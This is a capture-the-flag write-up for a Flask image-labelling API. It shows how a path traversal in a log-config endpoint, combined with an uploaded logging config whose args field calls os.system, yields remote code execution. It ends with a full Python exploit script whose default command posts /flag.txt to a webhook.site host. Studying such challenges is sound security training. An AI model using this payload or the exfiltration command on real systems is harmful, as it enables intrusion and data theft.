tl;dr
- Upload log configuration file and exploit path traversal to gain RCE
We’re an in development public platform for labeling images captured with deep-space telescopes! These images will be used to assist machine learning models for identifying space objects. Still have a lot of work to do… right now we just have the API exposed, still working on a full front end to help less technical people contribute! For anyone interested in the project send them the api_doc.txt and api_client.py to help get them started.
In this challenge, we were given a Web API and comes with the following functionalities:
- Login / Register
- Gallery
- Upload Image
- Download Image
The application is written in Flask, and makes use of Python’s logging library.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
| from flask import Flask, current_app
from flask_login import LoginManager
from flask_session import Session
import logging
import logging.config
from application.blueprints.routes import web, api, response
from application.database import db, User
app=Flask(__name__)
app.config.from_object('application.config.Config')
logging.config.fileConfig(f"/app/application/static/conf/default.conf")
db.init_app(app)
db.create_all(app=app)
login_manager = LoginManager()
login_manager.init_app(app)
sess = Session()
sess.init_app(app)
app.register_blueprint(web, url_prefix='/')
app.register_blueprint(api, url_prefix='/api')
|
Looking at the Dockerfile, we find that flag is present at the root of the server.
We then inspect all the routes in routes.py
.
- We have the
/download_image
route which downloads a file present in the database. - The
/gallery
route - which lists all the files that are uploaded by the currently logged in user. - The
/upload
route - which uploads a given file to a random directory under the images
folder. - The
/log_config
route - which loads a logging configuration file present on the server.
The implementation of log_config
endpoint is as follows:
1
2
3
4
5
6
7
8
9
10
11
12
| @api.route('/log_config', methods=['POST'])
@login_required
def log_config():
if not request.is_json:
return response('Missing required parameters!'), 401
data = request.get_json()
file_name = data.get('filename', '')
logging.config.fileConfig(f"{current_app.config['UPLOAD_FOLDER']}/conf/{file_name}")
return response(data)
|
The above code could potentially introduce a path traversal bug.
The solution could be to upload a configuration file to the server, and use the log_config
route to parse it, and somehow get RCE.
After a bit reserach, I found Python Logging Security considerations and User-defined objects in the official documentation. Even after hours of trial and error, I was stuck, with no progress.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
| [loggers]
keys=root,simpleExample
[handlers]
keys=consoleHandler
[formatters]
keys=simpleFormatter
[logger_root]
handlers=consoleHandler
[logger_simpleExample]
level=DEBUG
handlers=consoleHandler
qualname=simpleExample
propagate=0
[handler_consoleHandler]
class=StreamHandler
level=DEBUG
formatter=simpleFormatter
args=(sys.stdout,)
[formatter_simpleFormatter]
format=%(asctime)s - %(name)s - %(levelname)s - %(message)s
|
Going through the conf
files given, we find that certain keywords are same as used in Python. (Eg.args=(sys.stdout,)
) Thus, it could mean Python code given in log config files could be executed.
Upon editing /app/application/static/conf
to set args
to (os.system('ls'),)
and using log_config
route, it was observed that the output of the executed command was displayed on the docker console.
So, in short, the exploit was to upload a configuration file, and load it by exploiting the path traversal bug.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
| import requests
import json
api_url = "http://172.17.0.2:1337/api"
username = "temp"
password = "temp"
def main(command):
exploit_payload = f"""[loggers]
keys=root,simpleExample
[handlers]
keys=consoleHandler
[formatters]
keys=simpleFormatter
[logger_root]
handlers=consoleHandler
[logger_simpleExample]
level=DEBUG
handlers=consoleHandler
qualname=simpleExample
propagate=0
[handler_consoleHandler]
class=StreamHandler
level=DEBUG
formatter=simpleFormatter
args=(os.system('{command}'),)
[formatter_simpleFormatter]
format=%(asctime)s - %(name)s - %(levelname)s - %(message)s
"""
r = requests.Session()
# REGISTER
url = api_url + "/register"
payload = json.dumps({"username": username, "password": password})
headers = {
'Content-Type': 'application/json'
}
r.request("POST", url, headers=headers, data=payload)
# LOGIN
url = api_url + "/login"
res = r.request("POST", url, headers=headers, data=payload)
# Upload config file
url = api_url + "/upload"
files = {'file': exploit_payload}
values = {'label': "thepic"}
res = r.request("POST", url, files=files, data=values)
print(res.text)
# Get item from gallery
url = api_url + "/gallery"
res = r.request("GET", url)
filename = res.json()["message"][-1]
# SET LOG
url = api_url + "/log_config"
payload = json.dumps({"filename": f"../images/{filename}"})
res = r.request("POST", url, headers=headers, data=payload)
print(res.text)
if __name__ == "__main__":
command = "wget --post-file /flag.txt https://webhook.site/HOOK"
main(command)
else:
command = input("Command: ")
main(command)
|
It was fun solving this challenge.
Thanks for reading. 😁